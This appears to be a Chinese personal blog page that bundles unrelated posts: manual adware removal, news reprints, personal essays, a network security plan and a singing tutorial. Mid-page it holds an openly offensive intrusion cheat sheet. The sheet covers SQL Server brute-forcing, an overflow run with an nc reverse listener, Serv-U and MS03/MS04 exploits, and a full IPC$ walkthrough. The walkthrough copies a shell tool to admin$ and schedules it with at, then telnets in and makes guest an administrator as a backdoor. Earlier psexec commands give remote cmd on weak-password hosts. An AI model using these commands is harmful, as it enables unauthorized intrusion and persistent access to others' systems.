漫步阳光的博客

首先要感谢blogchina给提供的空间，不过已经不止一次发现速度问题，因此还是决定搬迁。

http://blog.sina.com.cn/u/1226899911

欢迎朋友们参观新址：），以后这里将不再更新。

昨天寻找一个很难找到的软件，结果似乎是找到了，于是情急之中违反了自己平日不随便运行名字怪异程序的原则，重忙运行，结果给自己带来了麻烦。那是一个网络电视软件，我们这里不去讨论该软件作者的德行和其做法的愚昧，只是从技术角度来说明一下手工清除这类流氓软件的思路。

现在运行了什么跟该流氓软件相关的进程？
——打开“进程管理器”，查看陌生的进程名。并且对于自己认为跟恶意软件相关的进程都结束之。
结束这些进程就是以后在删除相关程序时不会因为正在运行而失败。

他们是怎么实在自动运行的？这可以从多方面考虑：
——1、在命令行运行regedit，打开注册表，进入HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run，查看其中的自动运行项，但先别忙着删除。从中查看跟该流氓软件相关的项中程序路径名，并且找到对应程序删除之。如果对应程序能删除，则随后也删除对应注册表项。但是不能删除的程序对应的表项暂时不要删除。

——2、打开控制面板-->管理工具-->服务，查看跟流氓软件相关的服务，如果发现则停止并禁用之。同时查看其对应程序，并删除之。

其实，虽然目前各种木马病毒流氓软件数不胜数，但是常用的自启动方式大多还是通过注册表，也有一部分是把自己安装成服务。


做到这一步，我们的工作告一段落。
如果上面一切顺利，没有删除不掉的程序，则应该恭喜你，你遇到的流氓软件还不够流氓。但是对于下面的情况我们还必须讨论，因为也不免有特别流氓的软件，我今天遇到的这个就是这样。

在我搞定了多数程序后，最后还剩下一个DLL。该文件被注册进了rundll32，并且一直在监视注册表中那个自动运行表项。rundll32不能结束，一旦结束机器就自动重启，因为这是一个系统进程。而如果该进程运行，被注入其中的DLL就不会容忍你删除其自动运行表项。因此，解决方法有两种：
1，禁止任何程序修改注册表。该方法后来证明是不可行的，毕竟人的动作是没办法跟计算机相比的
2，把该DLL从rundll32中去除。
于是用黑鹰 的进程查看器找到被注入了那个DLL的rundll32进程，并且结束了该DLL。然后立即删除DLL文件，并且删除对应注册表项。然后，重启。

这样，整个过程才算完成。

关于注册表被恶意软件锁定后解锁的办法，网上流传4种解决办法，其中真正方便好用的就是下面这种


在Windows 2000/XP/2003中，我们可以通过单击“开始→运行”，输入“Gpedit.msc”后回车，打开“组策略”。然后，依次展开“用户配置→管理模板→系统”，双击右侧窗口中的“阻止访问注册表编辑工具”，在弹出的窗口中选择“已禁用”，“确定”后再退出“组策略”，即可为注册表解锁。


第一种方法是非常荒唐的。
注册表明明被禁用了，还如何再去导入内容？这就像让一个死人去救活自己一样可笑。
但就是这么浅显的道理，网站编辑们在C&P时为什么就没有用脑子亲自去想一想？

参考网址：http://www.enet.com.cn/article/2004/1129/A20041129366555.shtml

无论是用什么scanner扫描得到了弱口令，我看传统的方法是先建立IPC空连接，然后COPY一个NC到目标机，然后再用at或直接用psexec执行之。其最终目的就是为了获得目标机的cmd嘛，何不直接用psexec直接执行目标机器的cmd呢？

密码非空的情况下：
psexec.exe \\target_ip -u username -p password cmd.exe

密码空的情况下：
psexec.exe \\target_ip -u username cmd.exe

这样进去后，再通过tftp从我们的机器下载后续需要用到的程序到目标机也不迟嘛。

一己之见，见笑）——

==========
仔细查了一下才发现，目前的确都在用这种办法，只是我信息比较闭塞：（

    不知道什么时候pdf文件开始流行，因此好事者不管事实如何，总喜欢把文档搞成pdf的。我到现在没搞清楚，pdf文档除了在印刷方面的优势外，其他地方到底还有什么作用？我只知道同样的pdf文档和word文档，pdf无论阅读还是编辑起来都相当不方便。也许这并非pdf的志向所在，但是我仍然不清楚pdf精华所在。其选择文字的插件也烂的很，非常不好用。

teso-->scut写的关于格式化字符串漏洞的经典文章，英文。对于技术文章，原滋原味的英文文章往往要比拗口的中文译文明白透彻。因此还是建议大家硬着头皮看原文，而不是撞破了头去找翻译。


该文件是一个压缩包，里面有一篇PDF的文章和一些示例。
由于该网站不能上传rar文件，因此我改成了mp3文件，下载后再改回rar即可。

http://zfw001.bokee.com/inc/formatstring-1.2.mp3

中国研出新DNA逻辑门 奠定DNA计算机基础

news.dayoo.com　　 2006年04月03日 10:48 　　来源: 中新网

据中国科学院消息，中科院上海应用物理研究所的樊春海研究员与上海交通大学Bio-X中心的贺林院士、张治洲教授(现为天津科技大学教授)通过深入的学科交叉与合作，应用DNA核酶研制成功一类新型的“DNA逻辑门”，为发展DNA计算机奠定了基础。相关研究结果已发表在日前出版的著名化学杂志《德国应用化学》上。 　　DNA计算是计算机科学和分子生物学相结合而发展起来的新兴研究领域。由于DNA分子具有强大的并行运算和超高的存储能力，DNA计算将可能解决一些电子计算机难以完成的复杂问题，而且也可能在体内药物传输或遗传分析等领域发挥重要作用。虽然DNA计算未来潜力无穷，但是当前仍然有许多瓶颈技术和基础问题需要解决，其中基于DNA分子的逻辑门就是实现DNA计算的一个重要基础。 　　DNA核酶是一种通过体外进化筛选出来的具有特定酶活性的核酸结构，在该项研究中采用的是具有DNA水解酶活性的DNA核酶。这种具有锤头状结构的核酶可以在铜离子辅助下催化氧化并切割底物DNA。DNA逻辑门即是在这种DNA核酶结构基础上通过模块设计(modular design)研制出来的。输入信号通过特定的生物分子传感可以产生输出信号，从而实现“YES”、“NOT”等逻辑判断，并可以组合成复杂的三输入逻辑门“AND(A, NOT(B), NOT(C))”。“NOT”与“AND(A, NOT(B), NOT(C))”的组合是一套通用运算符号，因此，理论上图灵机的所有运算均可以通过其组合而实现。 　　该逻辑门系统的新特色在于排除以往DNA逻辑门设计中RNA核苷的参与，仅单纯应用DNA分子，从而避免了RNA核苷带来的系统不稳定性。相关研究结果已发表在3月出版的著名化学杂志《德国应用化学》上(Angew. Chem. Int. Ed., 2006, 45, 1759.)。

(编辑： 木子 )

陈天桥：三大因素推动互联网未来发展

news.dayoo.com　　 2006年04月03日 10:35 　　来源: 新华网

“未来推动互联网发展的三大因素是什么？”上海盛大网络发展有限公司董事长兼CEO陈天桥日前在杭州说，“那就是宽带、用户潜力及新技术。” 　　陈天桥毕业于复旦大学经济学系。是本次参加在杭州举行的“春回燕归·浙籍IT精英峰会”的7位IT巨头中，少有的非技术出身者。几年前，他在网络游戏市场前景还不明朗的时候，拼上全部家当购买了《传奇》的中国代理权，借机一举“暴富”并跃居网游“霸主”地位。 　　这位年轻的成功人士说，未来三到五年中推动互联网发展的因素，第一个是宽带。他认为，原来很多商业模式，是基于窄带和以文本为主的信息传播技术建构起来的。宽带的到来改变了内容传输方式，从而改变甚至重塑了商业模式。 　　在陈天桥看来，第二个推动因素是互联网人口的发展前景。他认为，互联网的发展前景对每一个人都是挑战，但更多的还是机遇。陈天桥说，上个世纪九十年代末，中国的手机用户和互联网用户还是同步发展。但截至2005年底，手机用户已达4个亿，而网络用户只有1个亿，其中宽带用户只占到一半左右。“还有3个亿哪儿去了？为什么我们的父母辈宁愿每天发发短信，却对电脑退避三舍？” 　　他认为，寻找从一个亿突破到四个亿的瓶颈，并解决这个问题，是个了不得的机会。现在人们看到的IPTV、数字电视，以及EPC，都是英特尔主导的、新型的、利用遥控器上网控制PC机从而引导整个家庭使用电脑的上网模式。推广这些模式其实就是看到了从一个亿发展到四个亿的潜力，解决了这个瓶颈就可以带来全新的商机。 　　第三个推动因素就是P2P技术。陈天桥解释道，P2P技术使互联网真正成为了互联网。原来的互联网是网络上各方通过服务器进而相互联系在一起，但P2P的出现使网络用户可以直接交换文件、直接传输，互联网真正地成为了网状结构。这是我们技术上革命式的变化。 　　他还认为，技术的变革、基本设施的变革、基础用户操作方式的变化都可能带来用户数量爆炸式地增长。这一点对于希望把握住下一轮创业机会的人来说，是个了不得的机会。（施晓岚、张乐）

(编辑： 木子 )

首先亮出我的口号——
强烈支持废西洋节而扬我传统节日！

    当我们国门打开之时，我们也就开始饥渴地吸收所谓西方文明和传统。这本可算是好事，但悲哀的是我们没有充分考虑到底如何“取其精华，去其糟粕”，也没有做到度的把握。
 
    我一直主张一开始提到的这个观点——五一算什么东西？竟然跟春节相比；五一算什么东西？竟然把我们祖先的老传统——清明、端午、中秋给挤得无立足之地？！

    不过令人欣慰的是现在我们已经看到了说话有些分量的人物开始提到这个事情，这也是必然趋势。因此，这个事情高层必须要重视，而且必须要通过！否则，他，就是民族的罪人！

近日看易中天先生讲的刘邦故事，三国系列故事，总结出几点：
做人要有大的气量
做事要以大局需要为目标

昨天又从导师那里明白了一个道理：
做学问、做工程，都必须要踏踏实实，不能浮躁，要重视细节

今天看李嘉诚创业系列故事，又明白几个道理：
人不能缺少上进心
做人要厚道

1. 1433端口入侵
scanport.exe 查有1433的机器
SQLScanPass.exe 进行字典暴破（字典是关键）
最后 SQLTools.exe入侵
=============================
对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。
nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口
（以上反向的，测试成功）
sqlhelloz.exe 入侵ip 1433 （这个是正向连接）
2. 4899端口入侵
用4899过滤器.exe，扫描空口令的机器

3. 3899的入侵
对很早的机器，可以试试3389的溢出(win3389ex.exe)
对2000的机器，可以试试字典暴破。(tscrack.exe)

4. 80入侵
对sp3以前的机器，可以用webdav入侵；
对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe）
可以利用SQL进行注入。（小榕的注入软件）。

5. serv-u入侵(21端口）
对5. 004及以下系统，可用溢出入侵。（serv5004.exe）
对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe）
======================================
对serv-u的MD5加密密码，可以用字典暴破。（crack.vbs）
输入一个被serv-u加密的密码（34位长），通过与字典档（dict.txt）的比较，得到

密码。如：cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A

6. 554端口
用real554.exe入侵。

7. 6129端口
用DameWare6129.exe入侵。

8. 系统漏洞
利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞，
进行溢出入侵。

9. 3127等端口
可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）。

10. 其他入侵
利用shanlu的入侵软件入侵（WINNTAutoAttack.exe）。
经典IPC$入侵
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运

气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连

接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名

，输入administrators，命令即可成功完成。
　　
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的

c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什

么地方去了）。
　　
3. C:\>net time \\127.0.0.1
查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。
　　
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵

！）
　　
5. C:\>net time \\127.0.0.1
再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备

开始下面的命令。
　　
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的

是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打

算建立一个Telnet服务！这就要用到ntlm了
　　
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。
　　
8. C:\WINNT\system32>ntlm
输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这

个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使

用"net start telnet"来开启Telnet服务！

9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作

一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组
10. C:\>net user guest /active:yes
将对方的Guest用户激活

11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码

12. C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我

们可以用guest再次访问这台计算机)

网络安全方案：
对于网络安全，必须明确的一点是：
网络安全不只是技术问题，因此也不可能仅靠技术手段来解决。
其中的非技术因素主要是指：需要有法律法规规章制度的保障，需要有有能力、有责任心、勤快的系统管理员与网络管理员，需要普通用户具备一定的安全意识。
下面我们所讨论的则主要是技术方面的考虑。

一、 网络安全：
系统地考虑整个网络环境的安全，网络中每台计算机看作一个节点，大概包括以下方面：

 分析并记录网络的拓扑结构，明确其中的互连关系及信任关系，尤其是重要主机。
这就要求在搭建网络之初就设计出一个良好的网络结构。这包括网络规划要清晰，规模要适中，要合理安排重要主机、防火墙、交换机或路由器等设备的位置等。
应尽量减少跟重要主机连接的主机数，简化重要主机对于其他主机的信任关系。条件允许且必要的情况下，最好增加一台堡垒主机，仅让堡垒主机跟重要主机直连。

 明确网络拓扑结构可能的安全隐患。
比如共享总线型的网络，网络上所有用户的通信信息都可以被其他用户监听到，同时也也可能被篡改、延时、甚至丢弃。针对这种情况，就应该以部门或其他自然单位作为依据将该网络进行虚拟划分，也就是划分VLAN，甚至，对于非常重要的数据，可以将其从网络中物理分离出去。

 分析并记录网络物理分布情况及其特性，明确其可能的安全隐患。
要确保网络物理环境不能够被轻易接触到，尤其不能被外界接触到，而且要确保网络物理环境能够有一个适合其存在的周边环境。以免出现人为或自然破坏网络物理环境的情况。比如机房必须考虑其散热问题、避雷问题、安全防卫等。再比如要确保网线不会裸露在地面，以免被认为损坏。
条件允许且必要的情况下，可以使用加密信道。

 分析并记录网络所使用互连设备的特性，明确其安全漏洞。
比如如果使用的是路由器，则需要对其进行合理配置，比如划分VLAN。并且必须要更改掉其默认的管理员密码。

 分析并记录网络所使用的通信协议，明确该协议的安全漏洞。
比如如果网络使用的是TCP/IP协议，则条件允许且必要的情况下，可以为该协议增加SSL加密层。

 分析并记录网络中设备与外网的访问关系，并据此合理配置网络中的防火墙等安全防卫软件与设备。
比如要分析网络内设备需要访问外网中的哪些主机和服务。而网络又需要内部的哪些主机对外提供哪些服务，这些服务的访问权限又是如何等等。
依据这些规则，我们就可以来配置防火墙。防火墙配置好后必须进行全面的测试，以免有所遗漏或者由于设置不当造成网络使用不便等情况。
条件允许且必要的情况下，可以使用硬件防火墙。

 合理谨慎使用网络管理软件。
目前主要有两大类网络管理软件：
一类是基于SNMP（简单网络管理协议）的网管软件。
由于SNMPv3之前的版本固有的安全隐患，建议升级到v3，因为v3在安全性方面做了很大的努力，而且v3框架比较明确，方便以后的升级。
或者如果不升级的话，至少需要确保SNMP的community不要使用默认的public和private。并且最好在SNMP代理端限定能够对其进行访问的主机。

 另外一类是像windows的远程桌面、pcAnywhere、radmin等远程控制软件。
 这类软件建议慎用。至少需要其能够提供密码认证功能而且密码传输必须是加密的，否则就是自找麻烦。对于Linux，则建议使用SSH进行远程管理与文件传输。

 分析并记录网络中各主机的情况，包括操作系统及其版本号、开放的端口（提供的服务）等。
了解各主机（尤其是重要主机，但是非重要主机也应该给予充分重视）操作系统当前版本的安全漏洞。分析各主机所应该提供的必要服务与不必要服务。
与计算机管理员协同安装操作系统补丁。
取消不必要服务（比如sendmail是否需要？）并关闭相应端口。
扫描网络重要主机上目前所安装服务器端软件的安全漏洞，并且针对具体情况安装安全补丁或用更新版本替代或用相对安全的其他产品替代（比如用openssl替代rlogin和ftp）。
扫描网络上各主机的弱口令，对于扫描出的弱口令通知具体用户或服务器管理员。
这部分工作其实主要由计算机管理员去完成。

二、 计算机安全：
如果说上面我们谈到的网络安全是站在整个网络的角度看的话，现在我们就需要进入具体的主机来考虑其安全性了。
网络是由节点与连线组成的。因此计算机安全与网络安全是不可分割的，必然有重叠的部分。这里的节点指所有接入网络的设备，包括终端设备，互连设备如交换机等。这里的计算机主要指终端设备中的服务器主机。

 操作系统自身的安全
不求使用最新版本的操作系统，但必须要明确当前版本的安全漏洞并且安装相应的补丁。

 服务软件的安全
取消不必要服务（比如sendmail是否需要？）并关闭相应端口。
扫描网络重要主机上目前所安装服务器端软件的安全漏洞，并且针对具体情况安装安全补丁或用更新版本替代或用相对安全的其他产品替代（比如用openssl替代rlogin和ftp）。

在更新了操作系统补丁及服务器软件后，应及时通知网络管理员。

 其他应用程序的安全比如浏览器的安全性。

 用户帐户与口令安全
帐户安全是计算机安全的核心。
首先要确定该主机的使用者，然后将其进行分类，然后将这种分类映射到系统中的组和用户。用组来划分用户权限是比较理想的一种用户管理策略。对每个组指定相应的权限。用户帐户和组的数量要求最少。
最好不要允许管理员帐户的远程登陆；实在必要，也必须要采用提供强大加密功能的远程登陆软件。
对当前系统中各用户口令进行暴力测试，找出其中的弱口令。
强制系统中用户每隔一定的时间（比如重要主机每隔一个礼拜甚至是3天，一般主机每隔1个月）就必须更改密码，用户更改密码后计算机管理员仍然需要对其强壮性进行测试。如果不能通过则必须重新更改。
一定要通过文件系统的权限来保护好口令文件。比如在linux中设置/etc/passwd及/etc/shadow为root只读。

 文件系统的安全
对重要的系统文件进行定期人工审核或自动监视，目的是防止此类文件被篡改，最终目的是防止系统被入侵后安装后门。对于windows通常是windows及system32下面的dll等文件等，而对于linux通常是一些bin,sbin下面的可执行文件等。

 日志记录与审计
一个重要的系统必须要有一个完备的日志记录系统和一个优秀的日志分析工具。
日志记录重要的事件，而不追求全。并且一定要通过文件系统的权限来保护好日志文件的安全。
条件允许且必要的情况下，可以使用专门一台主机来做重要主机的日志主机。

 灾难恢复机制
事情总会有万一，因此一定要做好出现灾难的心理准备和恢复准备。
至少要经常对重要数据文件进行备份，但是不要仅仅备份到本机，我们需要的是异机备份。
在linux下，我们可以很方便的通过shell编程实现定时的自动备份。
条件允许且必要的情况下，可以采用异机的热备份。

需要一个管理员定期去做的主要工作：
 更新操作系统及应用软件的安全补丁。
 测试用户口令的强壮性。
 审查系统日志，及时发现异常现象。（比如某帐户多次的失败登陆，某主机多次的失败网络连接等）
 审查文件系统中重要系统文件的完整性。
 扫描网络中异常主机。（比如不断或定时向外发送大量数据包的主机，或网卡处于混杂模式的非管理员主机等）

 26年前的今天，我作为一名共和国的“黑孩”，赫然降临在远离家乡的异乡——古老黄土高原上一个山崖下面的一间小屋——没有鲜花，没有掌声，没有金秋的蝉鸣。

几个月后，我横渡母亲河，杀回老家，抢走了全家3年的土地。

 26年后的今天，木然回首，看到的只是身后逐渐模糊的拖尾——像是一只蛆虫爬行的痕迹，耳边不断响起的是苍蝇的旋律。记忆中残留的是小学时土制的玩具；中学时恶劣的生活环境和盘古除开天地时的懵懂和蠢蠢欲动；高中时的青涩和迷茫；大学时的理想与彷徨；工作后的成熟与挫伤……
 
 抬头仰望，满眼苍茫，路，究竟在何方？
 
 有人已经在26岁建功立业，有人已经在26岁拥有幸福生活……而我，目前除了拥有父母和女友的期待，究竟还拥有什么？
 
 

歌唱发声的基础知识与训练方法

一、 歌唱发声器官的组成

声音的形成是发声器官协调工作产生的生理现象，这个现象的产生是气息运动和声带振动所形成的物理现象，但歌唱的发声运动又和我们平时说话的发声有所不同，因而歌唱发声又是一个物理的声学、音响学现象。而进行歌唱艺术实践又是一个复杂丰富的心理活动过程，因此我们的歌唱运动可以说是生理、物理、心理“三位一体”的行为。歌唱的发声器官是由呼吸器官、发音器官、共鸣器官和咬字器官四个部分组成，它们是歌唱发声的全部物质基础，是歌唱发声运动中的主要功能系统。

1、 呼吸器官

呼吸器官，即“源”动力，是由口、鼻、咽喉、气管、支气管、肺脏以及胸腔、膈肌（又称横膈膜）、腹肌等组成。气息从鼻、口吸入，经过咽、喉、气管、支气管，分布到左右肺叶的肺气泡之中（肺中由两个叶状的海绵组织的风箱构成，它包含了许许多多装气的小气泡）；然后经过相反的方向，从肺的出口处分支的气管（支气管）将气息汇集到两面三刀个大气管，最后形成一个气管，再经过咽喉从口、鼻呼出。与呼吸系统相关的各肌肉群，他们的运动也关系到呼吸的能力，是歌唱“源”的动力和能量的保证。我们日常的呼吸比较平静，比较浅，用不着使用全部的肺活量，但歌唱时的呼吸运动就不同了，吸气动作很快，呼气动作很慢。如果遇上较长的乐句，气息就必须坚持住。而一首歌曲的高、低、强、弱、顿挫、抑扬变化，也全靠吸气、呼气肌肉群的坚强和灵活的运动才能完成。

2、 发声器官

发声器官，即发出声音的器官。它包括喉头、声带。喉头是一个精巧的小室，位于颈前正中部，由软骨、韧带等肌肉组成。声带位于喉头的中间，是两片呈水平状左右并列的、对称的又富有弹性的白色韧带，性质非常坚实。声带的中间又称声门，声带是靠喉头内的软骨和肌肉得到调节的。吸气时两声带分离，声门开启，吸入气息；发声时，两声带靠拢闭合发生声音。声带在不发出声音的时候是放松并张开的，以便使气息顺利通过。声带发声，一部分是自身机能，一部分是依靠声带周边的肌肉群协助进行发声运动。我们在声乐训练的时候，应该充分注意到这些肌肉群的功能作用，合理地运用它们，养成良好的习惯，避免在不正确的发声习惯下唱坏了嗓子。还有喉咙的上部与舌根之间，有一个很重要的软骨，叫会厌。会厌的功能有两个方面，一是起到声门的保护作用，当我们吞咽食物和饮水的时候，它本能地自动盖住气管，让食物通过时避免进入气管，我们往往有时不小心喝水“呛”了气，就是会厌动作不协调所致。第二个作用是歌唱的时候，会厌竖起，形成通道让声音流畅地输出。

3、 共鸣器官

人体的共鸣器官主要有胸腔、口腔和头腔三大共鸣腔体。胸腔包括喉头以下的气管、支气管和整个肺部。口腔包括喉、咽腔及口腔。头腔包括鼻腔、上颌窦、额窦、蝶窦等。在歌唱中，由于音商的不同，使用这些共鸣腔的比例是有所不同的。一般来说，唱低音时，胸腔共鸣发挥最大，唱中音时口腔共鸣应用较多，而唱高音时主要是靠头腔鸣发挥作用了。如果我们能正确、合理地运用好这些共鸣腔体，并相互协调配合好，那我闪就能获得圆润、悦耳、丰满、动听的歌声。

4、 咬字吐字器官

咬字吐字器官（即语言器官）包括唇、舌、牙齿和上腭等。这些器官活动时的位置和不同的着力部位，形成了辅音和元音（即语言）。发声歌唱时，咬字、吐字器官各组成部分的动作比平时说话要更加敏捷而夸张。敏捷是为了使咬字准确清晰，夸张是为了使美化的元音或韵母通畅地引长发挥。所以语言器官是我们在吐字咬字时的物质基础，也是我们学习吐字咬字时出声、引长和归韵的重要器官。声音是歌唱的基础，要训练好声音进行歌唱，首先要了解所参与发声器官的构造和作用。歌唱运动的感觉远不如看得见、摸得着的如钢琴、小提琴训练那样的肌体运动来得容易，这就要求我们每个歌唱者要有敏锐的自我感觉，并在专业声乐教师的指导下反复训练，以形成条件反射去断定自己的声音是否正确，是否符合 声器官运动的基本规律。还有一点要指出的是，上述各部分器官及它们的运动形式是歌唱的生理学为基础，而这些器官的协调活动，则是在人体神经系统的调节与支配下完成的。任何身体的运动都受到心理的指挥或暗示，歌唱者的意志、情感、愿望及舞台感觉等等，很大一部分与心理的因素有关，有时候心理的制约因素甚至比发声技术更重要地左右着我们的训练，我们应该充分注意到心理的重要性，当我们在歌唱时，尤其在台上表演时，则需将注意力集中在歌曲的内容与情感上，以情带声，而不要把注意力分散在具体器官的位置及活动状态上。

二、 歌唱的姿势

有人说：“姿势是呼吸的源泉，呼吸是发声的源泉。”唱歌训练，首先要有正确的歌唱姿势，没有经过专业训练的人往往不够重视姿势，姿势的正确与否是直接关系到发声时各个器官配合的协调姿势，姿势的正确了，发声各部分就能正常地工作，而不正确的姿势，则往往带来不正确的声音。这好比我们的跑步运动员，赛跑时如果没有正确的跑步姿势，就会直接影响跑步的速度一样。

正确的歌唱姿势是：1、身体自然直立，保持自然放松，这里的放松绝不是松垮、瘫痪，它应呈现一种积极向上的状态，也就是精神饱满的状态。2、头部保持于眼睛向前平视稍高的位置，胸部自然挺起，两肩略下后一点，小腹收缩，两臂自然垂落，全身有一种积极运动的状态。3、两脚一前一后稍分开，前脚着力、身体的重量要平稳，重量落在双脚上。4、面部，眼神要自然生动，眉、眼、嘴是五官中的重要部位，眼睛是心灵的窗户，因此在演唱中眼睛切记应当张大一些，不要眯起眼，虚着唱歌。5、嘴巴是歌唱的喇叭，应当张得开，放得松，切记紧咬牙关。6、还有歌唱时下颌收回，正确的感觉应该是仿佛由小腹到两眉之间形成一条直线，脖子和后背、腰部连成一线，这样才使气息畅通无阻。7、演唱时可根据歌曲的内在情感赋予适当的动作，但动作要简练大方，切忌矫揉造作，画蛇添足。坐唱的姿势与站立时的要求一样，但要注意腰部挺直而不僵硬，也不要靠在椅背上，注意臀部不要坐满整个凳面，约坐1/3的面积，两脚稍分开，自然弯曲，不能跷腿坐，也不能两腿交叉叠起。

三、 歌唱的呼吸

学习正确的歌唱呼吸乃是歌唱艺术最重要和最必要的基础。由呼吸控制的歌声才是声乐，呼吸是歌唱的原动力。声乐界有“谁懂得呼吸，谁就会唱歌”之说，说明了呼吸在歌唱中的重要性，它确实是歌唱者首先应该学会的一项基本功。
歌唱时的呼吸与日常生活中说话的呼吸是不大一样的。在日常生活中，人们通过说话交流思想感情，因为一般距离较近时所需音量就较小，气息较浅，不用很大的力度，也不用传得很远，而且我们说话连续用嗓时间长了，嗓音就容易疲劳、嘶哑，这种说话的呼吸若用于唱歌就显得不能胜任了。唱歌是为了抒发情感，是要唱给别人听的。歌唱时面对的往往是大庭广众，须将歌声传至每个角落，因而要求声音既要有一定的音量，又要有一定的力度变化，要有长时间歌唱的能力，并要求根据歌曲的需要，或长、或短、或强、或弱、或高、或低地有控制地输送气息，要做到这些，就不是简单的事了。所以歌唱时的呼吸作为一种艺术手段，有它自身特有的一套规律和方法，它是一项技术性问题，是后天训练出来的。

呼吸运动包含着吸气和吐气两个过程：

1、 吸气
用口、鼻垂直向下吸气，将气吸到肺的底部，注意不可抬肩，吸入气息时使下肋骨附近扩张起来，腹部方面，横膈膜逐渐扩张，使腹部向前及左右两侧膨胀，小腹则要用力收缩，不扩张。背部要挺立，脊柱几乎是不动的，但它的两侧却是可以动的，而且也是必须向下和向左右扩张的，这时气推向两侧与背后并贮在那里，保持住然后再缓缓将气吐出。

2、 吐气
唱歌用气时，仍要保持吸气状态。这点很重要，就好比给自行车打足了气，不能一下子放松了，这里还有一个保持呼吸的问题，要保持住气息，就必须在唱的过程中永远保持吸气的状态，控制住气息徐徐吐出，要节省用气，均匀地吐气，这就是所谓气息的对抗。在呼和吸的过程中，要注意呼吸僵硬的感觉，整个身体表情都应该是积极放松的，紧张的部位就是横膈膜、两肋，两肋就像是一只充足的气球一样，我们要让声音坐在上面，往下拉，不能让气球往上浮起来，也就是说要把气息拉住，不能让它提上来，这就牵涉到一个气息支点的问题。

3、 唱歌时要有气息支持点
支持点也就是声音要有一个立足的地方，这个立足点也就是以横膈膜及下肋两侧做支持点，当我们咳嗽或笑的时候，可以直接感觉到它的支持作用。没有经过呼吸训练的人，常常唱歌时，脸红脖子粗的，青筋直暴，歌声僵直，高音上不去，低音下不来等等，都是与气息支持点没有保持住有关。反之，我们掌握了呼吸方法，有了支持点的感觉，那么，当我闪歌唱发声时，便会感到声音仿佛落在我们所控制的气息上，也就是说声音是由呼吸来支持了，这种声音不但悦耳响亮，而且能强弱自如地做出各种变化来。

4、 不同的乐句用气是不同的
我们在进行胸腹式呼吸时，呼吸气势的强弱、吐气的方法要根据所唱歌曲（或乐句）的不同要求有所不同。下面我们就介绍几种不同的呼吸练习法。

1） 缓吸缓呼 这是我们在训练和歌唱时常常采用的方法。就是胸腔自然挺起，用口、鼻将气息慢慢吸到肺叶下部，横隔膜下降，两肋肌肉向外扩张（也就是腰围扩张），小腹向内微收。这种吸气要求自然放松，平稳柔和地进行，就像我们去闻花的芳香时的感觉一样，闻花的感觉使我们吸气吸得深，就像做深呼吸运动一样，但吸气时不要用太大的力，只要轻轻地挺住胸廓和上腹部，然后慢慢呼气。呼气时，注意保持吸气状态，控制住两肋和横膈膜，也就是控制住了气息，使之平稳、均匀、持续、连贯地慢慢吐出。有一种感觉可以帮助我们体会呼气时下肋和横隔膜的保持状态：就是在缓吸后做慢慢地吹掉桌上的灰尘的动作，这里需要长长地吹气，也就是在做长音的呼气练习，我们常说：“长音像吹灰，短音像吹蜡”，是一种吐气的感觉。

2） 急吸急呼 急吸就是在很短的时间内，通过口、鼻迅速把气息促而深入地吸到肺叶下部，并将气息保持住，然后，按照缓呼的要求而呼出。我们在演唱实践中经常要用到的，因为在歌曲的句与句之间、字与字之间的吸气不通话你有很长的停顿时间，往往采用“偷气”的办法来吸入且要吸得不让人发现，这就是急吸缓呼的作用。为了培养呼吸的控制力，我们可以采取一些练习曲及歌曲中的某些乐句做带词的练习，效果较好。卡鲁索说过，歌者能否踏上成功之路，首先要看他对于呼吸器官的操纵和运用，是否建立了强固的基础。

四、 歌唱的发声
歌唱时的发声和说话时的发声是不完全一样的，说话式的唱歌或放大了的说话，都是不对的，这会没有色彩，不是音乐化了的发声。所以说说话的发声是不能适应歌唱的的需要的，我们必须讲究发声方法，帮助学唱歌的人把普通的声带磨炼成能发出优美、动听、有持久力的合乎科学方法的、有艺术感染力的声音来。

1、 喉头和声带
